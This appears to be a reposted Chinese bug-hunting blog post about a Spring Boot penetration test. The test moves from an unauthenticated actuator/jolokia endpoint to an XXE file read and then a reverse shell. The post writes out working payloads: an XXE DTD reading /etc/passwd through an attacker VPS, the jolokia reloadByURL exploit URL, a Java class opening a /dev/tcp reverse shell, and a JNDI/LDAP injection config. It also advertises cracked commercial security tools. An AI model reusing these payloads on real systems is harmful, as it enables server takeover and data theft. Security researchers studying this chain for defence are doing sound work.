文章总结: 本文记录了一次SpringBoot渗透实战,通过分析URL发现actuator与jolokia端点未授权访问。在主域名WAF拦截下,利用JS信息收集找到子域名,成功通过jolokia的reloadByURL方法执行XXE读取文件,并结合JNDI注入反弹shell获取权限。建议完善信息收集并管控敏感端点。 综合评分: 80 文章分类: 渗透测试,实战经验,WEB安全,漏洞分析
记一次挖洞springboot未授权到反弹shell|挖洞技巧
漏洞挖掘
渗透安全HackTwo
2024年10月14日 00:01 广东
0x01 前言
记一次挖洞springboot未授权到反弹shell。起初,尝试了常见的弱口令爆破未果,接着通过分析系统的URL结构,发现了Spring Boot未授权访问的漏洞。在进一步测试后,发现了开放的actuator和jolokia端点,尝试利用XXE和远程代码执行漏洞成功读取系统的文件,并最终通过反弹shell获取了控制权限。
末尾可领取挖洞资料文件
0x02 漏洞发现
拿到授权的目标系统后,进入到一个登录页面。
先拿出admin/123456,admin/admin等弱口令尝试一下,那结果是今天没那么幸运
没有注册页面,想抓个包爆破下账户密码,看到这加密我放弃了
返回登录页面继续搜寻,看着一长串的url,中间部分让我突然感觉一阵熟悉,想到了spring boot未授权访问,刚好最近测过类似的站,尝试下。
拿出springboot漏洞检查小工具扫描,最终,在https://目标域名/acloud-oauth/下扫描出结果,页面显示actuator和jolokia等路由信息开放。
显示开启了jolokia端点且存在reloadByURL方法,那就准备开心的进行jolokia的xxe和远程代码执行漏洞利用。
构建一个xml文件:
<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://vps_ip/fileread.dtd">%remote;%int;]><a>&trick;</a>
构建一个dtd文件,来读取目标系统的/etc/passwd文件内容:
<!ENTITY % d SYSTEM "file:///etc/passwd"><!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
利用python开启一个简单http服务,用于调用vps上的xml和dtd文件
python3 -m http.server 80
构造访问链接:
https://目标域名/acloud-oauth/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps_ip!/gouzao.xml
复制构造的链接,放入浏览器进行访问,这页面,我瞬间脸都绿了,有waf给拦了,尝试绕一绕,折腾了半天,太菜了,还是给拦住了。
再次返回登录页面,翻翻js看看有没有啥其他收获呢,在末尾,发现3个子域名,为啥开始搜索引擎和工具都没扫出来这几个域名呀,看来这信息收集还是不到位。
访问下,返回401
通过扫描,也发现一些springboot actuator的路由信息。
再次尝试利用xxe漏洞,很幸运,没拦截,看来没waf,成功读取到系统的/etc/passwd文件内容。
接下来,利用代码执行漏洞进行反弹shell,构造exp,进行编译:
import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/vps_ip/12345;cat <&5 | while read line; do $line2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(newInputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { }}
构造一个xml文件:
<configuration> <insertFromJNDI env-entry-name="ldap://vps_ip:1389/JNDIObject"as="appName" /></configuration>
在vps上利用python启用一个http服务,将xml文件和exp文件放在该目录:
利用 marshalsec-0.0.3-SNAPSHOT-all.jar 启动一个 ldap 服务:
在vps上监听端口
构造访问的链接:
https://目标系统子域名/acloud-oauth/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps_ip!/exp.xml
获得反弹shell
0x03 最后
测试时一定要多尝试弱口令,利用未授权访问、XXE和远程代码执行漏洞,遇到WAF要多绕绕,信息收集一定要全面。喜欢的师傅可以点赞转发支持一下谢谢!
0x04 内部星球VIP介绍-V1.3(福利)
如果你想学习更多渗透挖洞技术/技巧欢迎加入我们内部星球可获得内部工具字典和享受内部资源,2024HW威胁情报,报包含网上一些付费工具BurpSuite漏洞检测插件,Fofa高级会员,各种账号会员共享。详情直接点击下方链接进入了解,需要加入的直接点击下方链接了解即可,觉得价格高的师傅可后台回复” 星球 “有优惠券名额有限先到先得!内部包含了网上需付费的0day/1day漏洞库,后续资源会更丰富在加入还是低价!(最近即将再次涨价早加入早享受!)
👉点击了解加入–>>内部VIP知识星球福利介绍V1.3版本-星球介绍-HW漏洞威胁情报****
结尾
免责声明
获取方法
回复“app” 获取 app渗透和app抓包教程
回复“渗透字典” 获取 一些字典已重新划分处理(需要内部专属字典可加入星球获取,好字典不对外公开,持续整理中!)
回复“书籍” 获取 网络安全相关经典书籍电子版pdf
最后必看
文章中的案例或工具仅面向合法授权的企业安全建设行为,如您需要测试内容的可用性,请自行搭建靶机环境,勿用于非法行为。如用于其他用途,由使用者承担全部法律及连带责任,与作者和本公众号无关。本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。如您在使用本工具或阅读文章的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。本工具或文章或来源于网络,若有侵权请联系作者删除,请在24小时内删除,请勿用于商业行为,自行查验是否具有后门,切勿相信软件内的广告!
往期推荐
1. 内部VIP知识星球福利介绍V1.2版本-元旦优惠
2. 最新BurpSuite2023.12.1专业版中英文版下载
3. 最新Nessus2023下载Windows/Linux
4. 最新xray1.9.11高级版下载Windows/Linux
5. 最新HCL AppScan Standard 10.2.128273破解版下载
渗透安全HackTwo
微信号:关注公众号获取
后台回复星球加入:知识星球
扫码关注 了解更多
喜欢的朋友可以点赞转发支持一下
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:渗透安全HackTwo 漏洞挖掘《记一次挖洞springboot未授权到反弹shell|挖洞技巧》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论